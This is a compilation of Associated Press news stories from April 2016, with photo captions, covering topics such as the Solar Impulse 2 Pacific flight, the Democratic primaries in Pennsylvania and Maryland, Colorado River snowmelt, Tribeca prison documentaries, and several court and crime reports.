"I speak to you from the cockpit of Solar Impulse in the middle of the Pacific, flying only on solar power. No fuel," pilot Bertrand Piccard told UN Secretary-General Ban Ki-moon during a brief conversation streamed live on his aircraft's website.

Ban hailed Piccard's pioneering spirit as "inspirational," telling him he was making history.

The Solar Impulse 2 solar plane flies into the sunrise out of Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The solar plane will fly a two-and-a-half day journey to Northern California. (AP Photo/Marco Garcia)

Piccard responded that Ban, too, was making history by having just presided over the signing of a climate agreement supported by representatives of 175 nations.

"What you are doing today in New York, signing the Paris agreement, is more than protecting the environment, it is the launch of the clean technology revolution," Piccard said.

After brief good wishes from an official of his native Switzerland, the pilot continued on his way. He passed the halfway point of the journey and said he expected to be in the San Francisco Bay area by Saturday evening.

He may arrive early. The project's website said the Solar Impulse 2 picked up a strong tail wind in the late afternoon and was cruising at 150 kilometers, or about 93 mph.

"This is fast for #Si2!" the website said.

Earlier, Piccard had watched in fascination from his plane as the sun, which is powering his aircraft's batteries, rose over the ocean on Friday, which is also Earth Day. "Absolutely fantastic moment ... That's a sunrise I will remember all my life," he said.

The trans-Pacific leg of his journey is the riskiest part of the plane's global travels because of the lack of emergency landing sites.

After uncertainty about winds, the plane took off from Hawaii on Thursday morning and was on course to land in Mountain View, California, over the weekend. The crew that helped it take off was clearing out of its Hawaiian hangar and headed for the mainland for the weekend arrival.

At one point passengers on a Hawaiian Air jet caught a glimpse of the Solar Impulse 2 before the airliner sped past the slow-moving aircraft.

The Solar Impulse 2 landed in Hawaii in July and was forced to stay in the islands after the plane's battery system sustained heat damage on its trip from Japan.

The aircraft started its around-the-world journey in March 2015 from Abu Dhabi, the capital of the United Arab Emirates, and made stops in Oman, Myanmar, China and Japan. It's on the ninth leg of its circumnavigation.

Piccard, said the destination in the heart of Silicon Valley is fitting, as the plane will land "in the middle of the pioneering spirit." Piccard's co-pilot Andre Borschberg flew the leg from Japan to Hawaii.

The team was delayed in Asia, as well. When first attempting to fly from Nanjing, China, to Hawaii, the crew had to divert to Japan because of unfavorable weather and a damaged wing.

A month later, when weather conditions were right, the plane departed from Nagoya in central Japan for Hawaii.

The plane's ideal flight speed is about 28 mph, though that can double during the day when the sun's rays are strongest. The carbon-fiber aircraft weighs more than 5,000 pounds, or about as much as a midsize truck.

The wings of Solar Impulse 2, which stretch wider than those of a Boeing 747, are equipped with 17,000 solar cells that power propellers and charge batteries. The plane runs on stored energy at night.

The Solar Impulse 2 solar plane is moved out of the hangar to prepare for a dawn lift off at the Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The solar-powered plane that has been grounded in Hawaii since July plans to resume its round-the-world voyage on Thursday. (AP Photo/Marco Garcia)

Ground crew prepare for the departure of the Solar Impulse 2 solar plane from the Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The Solar Impulse team landed in the islands in July after a record-breaking flight from Japan. (AP Photo/Marco Garcia)

Solar Impulse 2 pilots Bertrand Piccard, left, and Andre Borschberg speak to the media in front of the solar plane from the Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The Solar Impulse team landed in the islands in July after a record-breaking flight from Japan. (AP Photo/Marco Garcia)

A Hawaiian hula dancer performs for the Solar Impulse 2 pilots Andre Borschberg, left and Bertrand Piccard, center, during a departure ceremony at the Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The solar plane will attempt to depart Hawaii for California today. (AP Photo/Marco Garcia)

FILE - In this Thursday, April 21, 2016 file photo, the Solar Impulse 2 solar plane lifts off at the Kalaeloa Airport, in Kapolei, Hawaii. The solar plane on an around-the-world journey has reached the point of no return over the Pacific Ocean after departing Hawaii, and now it's California or bust. The plane was cruising over the cold northern Pacific late Thursday at about 20,000 feet with a nearly-full battery as night descended, according to the website that's documenting the journey of Solar Impulse 2. (AP Photo/Marco Garcia, File)

FILE - In this Thursday, April 21, 2016 file photo, the Solar Impulse 2 solar plane flies out of the Kalaeloa Airport, in Kapolei, Hawaii. The solar plane on an around-the-world journey has reached the point of no return over the Pacific Ocean after departing Hawaii, and now it's California or bust. The plane was cruising over the cold northern Pacific late Thursday at about 20,000 feet with a nearly-full battery as night descended, according to the website that's documenting the journey of Solar Impulse 2. (AP Photo/Marco Garcia, File)

Solar Impulse 2 pilot Bertrand Piccard prepares to fly across the Pacific in a solar plane from Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The solar plane will fly a two-and-a-half day journey to Northern California. (AP Photo/Marco Garcia)

Ground crew pulls the Solar Impulse 2 solar plane on to the runway for a dawn lift off at Kalaeloa Airport, Thursday, April 21, 2016, in Kapolei, Hawaii. The solar plane will fly a two-and-a-half day journey to Northern California. (AP Photo/Marco Garcia)
In Pa., Sanders offers mixed signals on approach to Clinton

GETTYSBURG, Pa. (AP)  Bernie Sanders is sending mixed signals on whether he will persist in his pointed critique of Hillary Clinton's record as some Democrats urge the party to coalesce around the former secretary of state.

Sanders largely gave Clinton a pass at a town hall meeting in Gettysburg on Friday, except by implication, but later devoted a section of his speech at Millersville University on Friday night to their differences.

Sanders noted that Clinton had benefited from super PACs and had received lucrative speaking fees from Wall Street banks after departing the State Department.

Democratic presidential candidate Sen. Bernie Sanders, I-Vt., shakes hands during a town hall at Gettysburg College on Friday, April 22, 2016, in Gettysburg, Pa. (AP Photo/Evan Vucci)

"It's not good enough to talk the talk, you've got to walk the walk," Sanders said.

He also pointed to her vote in favor of the Iraq war, her resistance to a federal $15 minimum wage and her support for fracking.

A day earlier, Sanders invoked Clinton's acceptance of the $200,000-plus in speaking fees from Wall Street firms, urging his opponent to release transcripts of the addresses. The Vermont senator also reiterated his differences with Clinton over fracking, the use of super PACs, trade deals and the Iraq war, which he opposed, as the two campaign for the primaries Tuesday in Pennsylvania and four other states.

Clinton has been more muted in her assessment of Sanders since she won a convincing victory in her home state of New York. She briefly mentioned his handling of gun control at an event Friday in Pennsylvania, as she did a day earlier with family members of victims of the 2012 Sandy Hook school shooting in Connecticut.

"I voted against it," she said of a bill to protect gun-makers from legal liability. "My opponent, Senator Sanders voted for it." She said the bill "has given a really free hand to gunmakers and sellers." But on both occasions she resisted wading deeply into his record.

Clinton's event in the Philadelphia suburbs was focused on ensuring equal pay for women. She was joined by Lilly Ledbetter, who inspired the namesake fair pay law signed by President Barack Obama that aimed to make it easier for women to sue over wage discrimination.

The Jenkintown event offered a glimpse of how Clinton may seek to appeal to suburban women whose votes could be up for grabs in a general election against Republican Donald Trump or Ted Cruz. She spoke of online bullying of women and said she would expect "insults, derogatory comments" if she's the Democratic nominee.

Of Trump, she said: "It isn't really about me. And I'm not going to respond to what he says about me. I'm going to respond to what he has said about women in general."

Pennsylvania offers the biggest prize in Tuesday's primaries and has been the focus of the Clinton and Sanders campaigns following her win in New York. Both candidates are also vying for delegates who will be awarded Tuesday in primaries in Maryland, Connecticut, Rhode Island and Delaware.

Sanders took a daylong break in Vermont after his New York defeat, raising speculation he might be more restrained in discussing Clinton's record.

Clinton's campaign has said Sanders could hurt the party's ability to unite against the eventual Republican nominee.

"I do think it is time to tone down some of the rhetoric and the harshness of those disagreements," said former Rep. Allyson Schwartz of Pennsylvania, a longtime Clinton supporter. Schwartz said Clinton is already focused on what unites Democrats.

Clinton has deep ties to Pennsylvania. Her grandfather worked in a lace mill in Scranton, where she campaigned Friday, and her father grew up there. Clinton stopped by a Scranton restaurant Friday night along with her brothers, Hugh and Tony Rodham, and later rallied 1,200 supporters in nearby Dunmore.

Clinton leads Sanders 1,428-1,153 in delegates won in primaries and caucuses. Clinton also has the support of more than 500 superdelegates, according to a count by The Associated Press, and when those Democratic officials and elected leaders are included, Clinton's lead grows to 1,930-1,191. It takes 2,383 to clinch the nomination.

Despite those daunting odds, Sanders supporters did not seem down about his chances. "I don't think it's safe to say it's over," Ronnie Harvey, 29, a cultural center manager from Tunkhannock, said a day earlier in Scranton. "I think it's safe to say that he's going to need a real strong showing in Pennsylvania."

And Marion Somarelli, 48, of Lake Wallenpaupack, said she hopes Sanders runs as an independent or on the Green Party ticket if he doesn't get the Democratic nod. "All of the people following him now will follow him over," she said. Somarelli said she won't vote for Clinton under any circumstances, "not after what she's been pulling. She flip-flops on the issues."

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Thomas reported from Jenkintown, Pennsylvania.

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Follow Ken Thomas at https://www.twitter.com/kthomasDC and Michael Rubinkam at: https://www.twitter.com/michaelrubinkam

Democratic presidential candidate Hillary Clinton meets with attendees during a campaign stop, Friday, April 22, 2016, in Dunmore, Pa. (AP Photo/Matt Rourke)

Democratic presidential candidate Hillary Clinton accompanied by Lilly Ledbetter, left, meets with women during a campaign stop, Friday, April 22, 2016, at Curds 'n Whey cafe in Jenkintown, Pa. (AP Photo/Matt Rourke)

Democratic presidential candidate Hillary Clinton speaks with Lilly Ledbetter, during a campaign stop, Friday, April 22, 2016, at Curds 'n Whey cafe in Jenkintown,Pa. (AP Photo/Matt Rourke)

People listen as Democratic presidential candidate Sen. Bernie Sanders, I-Vt., speaks during a town hall at Gettysburg College, on Friday, April 22, 2016, in Gettysburg, Pa. (AP Photo/Evan Vucci)
Police ID girl dead after fight at Delaware high school

WILMINGTON, Del. (AP)  Authorities are identifying a 16-year-old sophomore who died after a fight in a Delaware high school restroom involving several female students.

Wilmington police identified the girl as Amy Joyner-Francis in a news release Friday. Police say the investigation remains active and ongoing.

School district spokeswoman Kathy K. Demarest said in a statement that the 10th-grader from New Castle was involved in a confrontation involving two other students at Wilmington's Howard High School of Technology on Thursday. She says no weapons were involved and police were questioning the other students.

A student cries in front of Howard High School of Technology on Thursday, April 21, 2016 in Wilmington, Del. A 16-year-old sophomore died Thursday following a fight in a Delaware high school girl's restroom, city officials said. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT

Police Chief Bobby Cummings said at a news conference that Howard isn't known as a violent school, and he did not know of any other problems in recent days.

People stand outside Howard High School of Technology on Thursday, April 21, 2016 in Wilmington, Del. A city official said a student has died after a confrontation inside the school. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT

A member of the forensic investigator team places an evidence bag inside the vehicle near Howard High School of Technology on Thursday, April 21, 2016 in Wilmington, Del. A city official said a student has died after a confrontation inside the school. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT

Wilmington Crime Scene vehicle leaves Howard High School of Technology on Thursday, April 21, 2016 in Wilmington, Del. A city official said a student has died after a confrontation inside the school. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT

High School Principal Stanley Spoor attends a news conference at Howard High School of Technology on Thursday, April 21, 2016, in Wilmington, Del. A city official said a student died after a confrontation at the high school. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT

Mayor Dennis Williams, left, addresses members of the media at a news conference at Howard High School of Technology on Thursday, April 21, 2016, in Wilmington, Del. A city official said a student died after a confrontation at the high school. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT

Mayor Dennis Williams speaks at a news conference at Howard High School of Technology on Thursday, April 21, 2016, in Wilmington, Del. A city official said a student died after a confrontation at the high school. (Suchat Pederson/The Wilmington News-Journal via AP) NO SALES; MANDATORY CREDIT
Dry soil to absorb some snowmelt heading to Colorado River

DENVER (AP)  Storms brought deep snow to the mountains that feed the vital Colorado River this winter and spring, but the dried-out landscape will soak up some of the runoff before it can reach the river and the 40 million people depending on it for water.

The snowpack in the vast Upper Colorado River Basin  encompassing almost 110,000 square miles of mountains, valleys and tributaries from Wyoming to New Mexico  hit its seasonal peak this month, federal data show. It reached about 94 percent of the long-term average.

But the melted snow that makes it into the river and eventually to Lake Powell in Utah, the second-largest reservoir in the nation, is expected to reach only 74 percent of average, forecasters say.

FILE - In this April 14, 2013 file photo, hikers make their way along the banks of the Colorado River near Willow Beach, Ariz. Storms brought deep snow during the 2016 season to the mountains that feed the Colorado River, but the dried-out landscape will soak up some before it can reach the river and flow into Lake Powell, the nationas second-largest reservoir. The snowpack in the vast Upper Colorado River Basin peaked at about 94 percent of average this month. (AP Photo/Julie Jacobson, file)

The Colorado River serves people and about 6,300 square miles of farmland in Arizona, California, Colorado, Nevada, New Mexico, Utah and Wyoming. Mexico also is entitled to a share.

Water users and managers watch the Upper Basin closely, especially in April, when the snow usually reaches its deepest levels and begins to melt into the Colorado River or its tributaries.

A dry fall and early winter reduced soil moisture in the basin, said Malcolm Wilson of the U.S. Bureau of Reclamation, which manages Lake Powell and hundreds of other reservoirs.

"When you have dry soil, the first place the water goes is to recharge that soil," he said.

Lake Powell, behind the 580-foot-high Glen Canyon Dam, helps the Bureau of Reclamation regulate the river and distribute its water. The reservoir serves as a kind of savings account for the Upper Basin states  Colorado, New Mexico, Utah and Wyoming  storing up water during wet years to ensure they have enough to send to the Lower Basin states, even in dry years.

Powell is about 45 percent full amid a long-term drought, but that should provide a big enough cushion that Lower Basin states  Arizona, California and Nevada  can get their share for the foreseeable future without requiring the Upper Basin to cut back, Wilson said.

"We're in a pretty reasonable spot," he said.

The lake was expected to rise 16 feet from this spring's snowmelt, Wilson said. Comparing years can be difficult because the canyon that forms the lake is V-shaped, so the higher the water level, the more water it takes to raise it another foot.

Although the snowpack is near average across the Upper Colorado River Basin, it varies widely within the region, from 110 percent in parts of Colorado to 61 percent in south-central Utah.

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Human face of mass incarceration gets close-up at Tribeca

NEW YORK (AP)  At a time when criminal justice reform has gained national attention and bipartisan support from even the leading candidates for president, a handful of documentaries at the Tribeca Film Festival are giving a close-up to the human cost of mass incarceration.

The films pursue the issue in numerous directions, from the conditions of solitary confinement to the difficult re-entry to society ex-convicts face. But they're united in depicting a system that's dehumanizing and destructive for all who enter it.

"There's a lot of talk about a change moment. There hasn't been that much change," says Kelly Duane de la Vega, co-director of "The Return." ''We're hoping that this film and the many, many others that are in this struggle together can catalyze on this moment."

This image released by the Tribeca Film Festival shows an inmate looking out from his cell in a scene from "Solitary," a documentary entered into the Tribeca Film Festival. In an election year where prison reform and criminal justice has often been in the spotlight, a handful of documentaries at the Tribeca Film Festival are depicting the human cost of incarceration. (Nelson Hume/Tribeca Film Festival via AP)

"The Return," also directed by Katie Galloway, movingly trails a pair of men released after California altered the harsh sentencing of its "three strikes" law.

David Feig's "Untouchable" delves into the distorted effects of Florida's stringent sex offender laws (more than 800,000 are listed on the state's sex offender registry).

"Prison Dogs," by Geeta Gandbhir and Perri Peltz, documents psychically damaged inmates finding healing by caring for puppies.

For "Solitary," Kristi Jacobson spent a year and half documenting a Virginia supermax prison and the lives of inmates who spend 23 hours a day within a 10-foot by 8-ft. cell. There's even a virtual reality exhibit at the festival that simulates the experience of solitary confinement.

The films are filled with tender and tragic stories of people  many of them poor, many of them black men  who made mistakes at a young age and were locked away for questionably long terms. They are stories of debatable justice, but are more principally films about human dignity.

"The main thing I wanted my film to do was make you think about who these people are as humans: human beings who had childhoods and lives and who for one reason or another, wound up here," says Jacobson. "The difference between them and you may be thinner than we think."

An estimated 2.2 million Americans are behind bars, many times more than most industrialized democracies. Though crime has fallen drastically since its peak in 1991, the prison population has grown exponentially. The National Research Council found that the 2009 state and federal prison population was seven times what it was in 1973. Studies have found increased incarceration rates only slightly improve crime rates.

Recently, criminal justice reform has emerged as a rare bipartisan issue. Republican presidential candidate Ted Cruz has voiced support for easing mandatory minimum sentencing, as has Democratic candidate Hilary Clinton, who has written of an "incarceration generation." Last year, President Barack Obama became the first sitting president to visit a federal prison.

"The Return" debuted at Tribeca but its true premiere was at New York's Otisville Correctional Facility. There, inmates peppered one of the film's subjects, Bilal Chatman, for advice on how to make it on the outside. For Chatman, who has found a good job and remarried, agreeing to do the film was first simply about "survival"  a means to help him get released.

He had to rethink his commitment to the film once he was out. Not only were cameras a distraction in a trying time, he didn't want to be defined as an ex-con.

"I didn't want them around," said Chatman. "Then I felt this sense that I had this opportunity to get this out there to the world. I had a sense of responsibility to all the guys that are still left there."

The film's other subject, Kenneth Anderson, has had a harder road. He served 14 years, entering prison with four young children. His struggles include mental health and crushing guilt over his absence. "I've been yearning for freedom even though I'm walking around free," he says in "The Return," which PBS's "POV" will air in May.

"I've seen it three times and I've cried all three times," says Chatman, who will meet Anderson next month. "Kenneth's family moves me every time. ... My connection to them is life long."

The personal tales of "Solitary," filmed at Virginia's Red Onion State Prison, are no less emotional. One inmate asks, "Could you live in a bathroom for 10 years?" The toll of nearly zero human interaction is severe. Another inmate, fighting for his sanity, says, "I feel like I've been buried alive."

Yearning for human connection, inmates often contort themselves to speak to other inmates through air vents in their cells.

And the prison is grueling for the guards, too, many of whom took the job as the only local option aside from the coal mines.

"The system is dehumanizing for all of us," says Jacobson, whose film will later air on HBO. "But there is some hope. We're at a particular moment in time where people who have been working on this issue for decades, just coming up against really well built brick walls, seem to be legitimately saying there is real progress and real reason to have hope."

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Follow AP Film Writer Jake Coyle on Twitter at: http://twitter.com/jakecoyleAP
Group cuts Great Lakes water diversion request

WAUKESHA, Wis. (AP)  A Milwaukee suburb's precedent-setting request to draw water from Lake Michigan could be significantly reduced by Great Lakes states and Canadian provinces considering the water diversion.

The city of Waukesha's proposal to pump an average of about 10 million gallons a day by midcentury might be cut by about 2 million gallons a day under an approach considered by Great Lakes officials that would reduce the number of communities in a future water service area that's to receive the lake water. The Journal Sentinel (http://bit.ly/248oEOU ) reports the reduction is a condition of the group's acceptance of Waukesha's request.

Representatives of the Great Lakes-St. Lawrence River Water Resources Regional Body ended their meeting Friday in Chicago without a recommendation on Waukesha's request. The group plans to meet again in May.

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'Eclipsed' shows on Broadway to be dedicated to victims

NEW YORK (AP)  In an effort to shine a light on the hundreds of girls abducted from a school in Nigeria two years ago, all performances of the Broadway play "Eclipsed" will be dedicated to the still-missing victims.

Playwright Danai Gurira told The Associated Press on Friday that each future performance of her play will be dedicated to a girl who has been abducted by the Boko Haram and will be named in her honor.

"I created 'Eclipsed' because this sort of problem exists and continues to exist globally. It was about bringing voice and attention to it because it does require a collective activism," she said. "This is a play that wants to continue to be a movement."

This photo provided by The Public Theater shows, Pascale Armand, from left, Lupita Nyongo, and Saycon Sengbloh in "Eclipsed," written by Danai Gurira, in New York. In an effort to shine a light on the hundreds of girls abducted from a school in Nigeria two years ago, all performances of the Broadway play Eclipsed will be dedicated to the still-missing victims. Gurira said Friday, April 22, 2016, that each future performance of her play will be dedicated to a girl who has been abducted by the Boko Haram and will be named in her honor. (Joan Marcus/The Public Theater via AP)

"Eclipsed," starring Oscar-winner Lupita Nyong'o, is about enslaved women in Liberia's 12-year civil war. Gurira also plays the katana-wielding walker assassin Michonne on AMC's "The Walking Dead."

Gurira said she was inspired by meeting human rights lawyer and activist Emmanuel Ogebe, whose organization, Education Must Continue, provides educational opportunities for hundreds of victims. Through Ogebe, Gurira said she has met several of the girls who escaped the Boko Haram.

She wants to connect the horrors of Liberia's past to the "gender-based terrorism" of today, give voice to the missing girls and keep them alive in theater-goers' consciousness. The production will also offer ways to find more information and connect online, using the hashtag BringBackOurGirls.

"The goal and the hope is that it brings awareness that causes people to want to get more involved and see how they can help," Gurira said. "I've seen this country do amazing things with a collective consciousness, like around issues of apartheid back in the '80s. There's a way we, as a people, can effect change if we put our minds to it."

The Boko Haram, which espouses an extreme form of conservative Islam, are believed to still be holding more than 200 girls two years after seizing them from their school in the northeast Nigerian town of Chibok, drawing worldwide condemnation.

Gurira said she'd like to dedicate her work to all girls, even those kidnapped in the U.S. "We're focusing on Bring Back Our Girls but, by so doing, we really want to bring the focus on the fact that this is 2016 and we still live in a world that's deeply unsafe if you are born female. That's just unacceptable."

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Online: http://www.EclipsedBroadway.com

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Nasty Dem primary in Maryland Senate race shakes Capitol

LANDOVER, Md. (AP)  Just miles from the U.S. Capitol, two House Democrats are locked in an intense and increasingly personal battle for the future of their party and the legacy of one of the Senate's most path-breaking members.

Tuesday's Maryland Democratic Senate primary between Reps. Donna Edwards and Chris Van Hollen has become a polarizing battle over race, gender and personality that has transfixed and divided fellow Democrats on Capitol Hill. The White House and prominent national Democrats have weighed in on behalf of Van Hollen, even as Edwards backers insist that her opportunity to become just the second black female U.S. senator in history must not be denied.

And the contest contains echoes of the Democratic presidential primary between Hillary Clinton and Bernie Sanders, as Edwards and Van Hollen present similarly progressive agendas, wrapped in dramatically different approaches to politics. Edwards, emphasizing her personal story as a single black mom, champions an uncompromising brand of liberalism critics say would exacerbate the polarization on Capitol Hill. Van Hollen is running as a pragmatic deal-maker in a Congress where compromise is increasingly a dirty word, an approach that's opened him to attacks that he can't be trusted to protect core Democratic programs like Social Security.

FILE - In this April 13, 2016 file photo, Democratic U.S. Senate candidate, Rep. Chris Van Hollen, D-Md., center, speaks during a news conference in front of Sen. Joan Carter Conway, D-Baltimore City, back left, and former Maryland Lt. Gov. Kathleen Kennedy Townsend in Baltimore. Baltimore is playing out as a key battleground in Maryland's Democratic Senate primary, as the city continues to heal from last year's rioting and its highest homicide rate on record in 2015. Top Democrats in Washington and even the White House have taken the unusual step of weighing in on a primary after a gun-control ad was released by a super PAC last week that they said was misleading. (AP Photo/Brian Witte, File)

"To hell with the aspirations of centuries of people in Maryland, a place where Harriet Tubman came from," said Democratic Rep. Gwen Moore of Wisconsin, an Edwards backer in the Congressional Black Caucus, bridling at Democratic establishment support for Van Hollen. "To hell with that. I mean, he looks like a senator."

"I can tell you that it matters, and it matters a lot, for women to be elected to Congress," Moore added, noting that no black woman has served in the Senate since Carol Moseley Braun of Illinois lost her re-election bid more than 15 years ago. "There's nobody who's an African-American woman in there at all."

Some of Van Hollen's supporters are just as adamant that race and gender shouldn't matter in the campaign. They point to Van Hollen's record as a results-oriented leader on budgetary and other issues on Capitol Hill, compared with Edwards' thinner legislative record and notoriety for clashing with fellow lawmakers and shortchanging constituent services.

"The choice in this election is very clear," said Democratic Rep. Gerry Connolly of neighboring Virginia. "It is whether the people of Maryland want somebody who can be effective, or somebody who's going to bask in her own feelings of moral superiority because of various and sundry factors, and effectiveness has nothing to do with it."

The passions over the campaign relate partly to the lawmaker Edwards and Van Hollen, both 57, are vying to replace. Retiring five-term Democratic Sen. Barbara Mikulski is the longest-serving female senator in history, an admired progressive who's often referred to as the Dean of the Senate's 20 female members. Because of Maryland's Democratic tilt, whichever lawmaker wins April 26 will be heavily favored to triumph in the November general election and become Mikulski's successor.

Mikulski's unique stature in the Senate has shadowed the race from the outset. To the dismay of Van Hollen supporters, the pro-women political group Emily's List and its connected super PAC have spent millions on Edwards' behalf, evening what might otherwise have been a significant financial advantage for Van Hollen. Mikulski was the first female lawmaker Emily's List successfully backed, and the group is determined to replace her with another woman.

"We want to carry on that legacy and believe Donna would be the best person to do that," said Rachel Thomas, Emily's List press secretary.

Yet some of Edwards' colleagues on Capitol Hill disagree. Both the Congressional Black Caucus and the Congressional Progressive Caucus refused to endorse Edwards through their political arms, despite her membership in both groups. And though most are publicly neutral, top Democrats from the White House on down weighed in earlier this month to denounce a pro-Edwards ad suggesting Van Hollen had supported the National Rifle Association. That seemed to wink-and-nod establishment support for Van Hollen, who's been a close ally of House Minority Leader Nancy Pelosi and was seen as her logical successor before he got into the Senate race.

Once he did so he was seen by many as Mikulski's natural replacement. But then Edwards announced her candidacy, riling some fellow Democrats who've since gone public to denounce her and claim constituents and even fellow lawmakers can't get a hearing from her. Her supporters call such complaints sexist and racially tinged, and say what really bothers Edwards' critics is her willingness to disrupt the established order. A recent poll showed Van Hollen leading, but all involved expect the outcome to be close between a candidate who could make history and add a missing viewpoint, and one who might do more to heal Washington and make Congress work.

"I think that those are really unique perspectives to bring into the Senate," Edwards said of her own experience as a single mom struggling through hardship.

But Van Hollen suggested he has a valuable perspective of his own. "If we take all-or-nothing positions," he said, "we get nothing."

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Werner reported from Washington.
Lawsuit: Former student ousted over gay couple counseling

SPRINGFIELD, Mo. (AP)  A former Missouri State University graduate student says in a federal lawsuit that the school kicked him out of a master's program three years after he said counseling gay couples violated his religious beliefs.

Andrew Cash said he was removed from the master's counseling program at Missouri State in 2014 after telling a professor in 2011 he would not counsel gay couples. Cash started the program in 2007.

The Thomas More Society, a Chicago-based public interest law firm, filed the lawsuit Tuesday on behalf of Cash. The lawsuit in federal court in Springfield names the university's board of governors and several school officials as defendants. It claims the university denied Cash's rights to religion and free speech and seeks unspecified monetary and punitive damages.

Missouri State University spokeswoman M. Suzanne Shaw told The Associated Press in an email Friday that the university "strictly prohibits discrimination on the basis of religion or any other protected class." Shaw also said the university hasn't seen the lawsuit and doesn't comment on pending litigation.

According to the lawsuit, W. K. Boyce, executive director of the Christian-based counseling center where Cash interned, made a presentation to one of Cash's classes in 2011. In response to a question during that presentation, Boyce said he would counsel gay individuals separately but would refer gay couples to other counselors who did not share his religious beliefs.

About a week later, Cash's internship coordinator questioned Cash about his own views on counseling gay couples, the lawsuit said. Cash said he also would counsel gay people individually but refer them to someone else for couple counseling.

Cash's "approach to counseling is centered on his core beliefs, values and Christian worldview and these would not be congruent with the likely values and needs of a gay couple," the lawsuit said.

It said the university's internship coordinator told Cash that his stance went against the code of ethics of the American Counseling Association, the Springfield News-Leader reported.

The university then canceled his internship and placed Cash on a remediation plan that required him to attend counseling sessions, audit two courses he had already passed and complete a self-assessment, according to the lawsuit. After appealing the matter, Cash, 46, was removed from the program in November 2014.
Vermont police faulted in trooper's heat death at gun range

BURLINGTON, Vt. (AP)  Vermont workplace safety officials say state police lacked the medical supplies needed to treat a trooper who died of heat-related injuries at a firing range.

The Burlington Free Press (http://bfpne.ws/1SnIluH ) obtained documents regarding the Vermont Occupational Safety and Health Administration investigation into the September 2015 death of 28-year-old Trooper Kyle Young. He collapsed at the Jericho range while trying out for a tactical team.

The report says that several troopers failed to recognize that Young was suffering from heat stroke.

Documents show workplace safety agency identified potential citations that could have totaled $6,300 in penalties for lack of ice packs on-scene and lack of a written guide for use of respiration equipment.

Maj. Walt Goodell says troopers learn about heat injuries during their annual first-aid training sessions.

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This story has been corrected to show that the Vermont Occupational Safety and Health Administration identified potential citations with penalties of up to $6,300, not that citations were issued.

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Vermont to pay $1.55M to estate of freed former convict

MONTPELIER, Vt. (AP)  Vermont agreed Friday to pay $1.55 million to the estate of a New York man who was released from a life-without-parole sentence for the 1994 killing of his wife at a vacation condominium after DNA evidence cast doubt on his conviction.

The Vermont Attorney General's Office said it settled the civil case originally filed by John Grega then pursued by his estate after he was killed in a 2015 car crash on Long Island. But prosecutors still maintain that Grega killed his wife and that they could have proven it in court.

Attorney General Bill Sorrell on Friday said a settlement for the "relatively modest amount" was preferable since Vermont could have been required to pay up to $20 million if found liable under the state Innocence Protection Act.

"We have no question that the jury verdict was just and supported by the evidence, but the downside risk of $20 million would have been really difficult for us, both financially and otherwise," Sorrell said.

The attorney for the Grega family, Ian Carleton, said his clients were pleased with the settlement.

"I think it is clear that this settlement can be summed up in two words, total exoneration," said Carleton. "The attorney general does not pay $1.55 million to guilty people, regardless of what position the state decides to take today."

Sorrell said he did not know if Christine Grega's family was aware of the settlement.

The Gregas were on vacation in the southern Vermont town of Dover with their then 2-year-old son when Christine Grega was found dead in their condominium. She had been sexually assaulted and strangled.

Grega was convicted in 1995 of aggravated murder, which carries an automatic sentence of life without parole. His conviction was later upheld by the Vermont Supreme Court.

In 2010, Carleton petitioned the court to test some of the DNA evidence collected from Christine Grega's body. The test results that include DNA from an unknown male became known in 2012 and Grega's conviction was overturned. A short time later he was released from prison.
Officials: Mayor killed in Mexico; gang links suspected

MEXICO CITY (AP)  Prosecutors in central Mexico say a mayor and two companions have been shot to death, and they say the mayor likely had links to a criminal gang.

The chief prosecutor of Mexico state says Mayor Juan Antonio Mayen of the town of Jilotzingo was killed on a highway by an armed group traveling in a pickup truck.

Prosecutor Alejandro Gomez says two other people were killed and another two were wounded in the attack on a pair of cars carrying Mayen, other local officials and bodyguards.

He said over 100 spent shell casings had been recovered at the scene of Friday's attack in a rural area of Mexico state, west of Mexico City.

Assistant prosecutor Martin Marin Colin said there is evidence that Mayen was linked to local gang whose leader had also been killed recently.

"At this point we cannot rule out any line of investigation, including his (Mayen's) probable link to illicit activities," Marin Colin said. "Given the manner of the events and some evidence in case files, the mayor can be linked to a criminal gang that operated in the area, whose leader was apparently killed a couple of months ago."
Georgia lawmaker targets guidelines on campus sexual assault

ATLANTA (AP)  A Georgia state lawmaker and his wife have filed a lawsuit against the U.S. Department of Education and its Office for Civil Rights, alleging that it is trying to "micromanage student sex lives" with its regulations on how colleges and universities should handle allegations of sexual assault and harassment.

The lawsuit filed by State Rep. Earl Ehrhart and his wife, Virginia, on Thursday claims that a 2011 letter the department's civil rights arm sent to schools has effectively imposed binding regulations without going through the necessary administrative procedures.

The letter was meant to help schools understand their obligations under federal law to prevent and respond to sexual violence. Instead, it has imposed burdensome requirements on schools that accept federal funding "in what is essentially an attempt to micromanage student sex lives," the lawsuit says.

A Department of Education spokesman said he couldn't comment on pending litigation.

Advocates complained for years that colleges and universities were failing to take reports of sexual assault seriously. The education department letter told schools they must promptly investigate allegations of sexual assault and harassment and outlined specific procedures schools must follow.

It instructed schools to rely on the preponderance-of-evidence standard used in civil cases, instead of the beyond-a-reasonable-doubt standard employed in criminal trials. That means a student can be disciplined if the college finds it more likely than not that an assault occurred.

Schools that don't comply could face investigation and lose federal funding. As of Wednesday, the Office for Civil Rights was investigating 224 sexual-violence cases at 178 colleges and universities across the nation.

The Education Department bypassed the notice and comment requirements of the Administrative Procedure Act but is still enforcing the letter's provisions as binding law, the lawsuit says. That makes the letter and all resulting disciplinary decisions "unconstitutional, arbitrary and void," the lawsuit says.

The lawsuit adds that the letter has imposed "an unworkable regulatory framework" on Georgia colleges and universities that has led to unnecessary costs and expenses that are ultimately borne by taxpayers.

